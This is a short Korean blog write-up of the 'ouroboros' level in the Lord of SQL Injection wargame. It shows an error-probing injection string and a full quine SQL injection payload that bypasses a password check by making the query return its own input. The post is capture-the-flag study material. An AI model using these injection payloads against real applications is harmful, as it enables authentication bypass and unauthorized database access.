본문 바로가기
워게임/LOS

ouroboros(quine sql injection)

by meanjung 2021. 10. 9.

id도 없고.. 그냥 pw 하나 뿐인 당황스러운 문제...

 

?pw=' or if(length(pw)=0, 9e307*2, 0)%23 로도 에러 창을 확인했지만 에러창이 따로 뜨지 않았다.


중요한 걸 간과했다.

컬럼이 하나밖에 없는데 데이터가 하나도 출력 안 된 것을 알 수 있다.

즉, 디비에 데이터가 없다. 

 

 

그렇다면 $_result[pw]와 $_GET[pw]가 같기만 하면 된다.


Quine SQL injection

Quine은 소스코드를 그대로 출력하는 프로그램이다.

 

 

 

pw=a' union SELECT REPLACE(REPLACE('a" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#',CHAR(34),CHAR(39)),CHAR(36),'a" union SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS Quine#') AS Quine#

 

 


https://go-madhat.github.io/ouroboros-writeup/

 

[Lord of SQL Injection] LoS - ouroboros 문제풀이

얼마 전 LOS를 올클했다. 그런데 문제중에 하나가 굉장히 신박했었어서 여기에 적어두려고 한다.

go-madhat.github.io


python quine code

s = 's = %r\nprint(s%%s)'
print(s%s)

'워게임 > LOS' 카테고리의 다른 글

alien (!sleep(1)&&now()%2=1)  (0) 2021.10.10
zombie(quine대신 quine하기)  (0) 2021.10.10
phantom(서브쿼리)  (0) 2021.10.09
frankenstein(error based sqli)  (0) 2021.10.09
blue_dragon(time based sql injection)  (0) 2021.10.09

댓글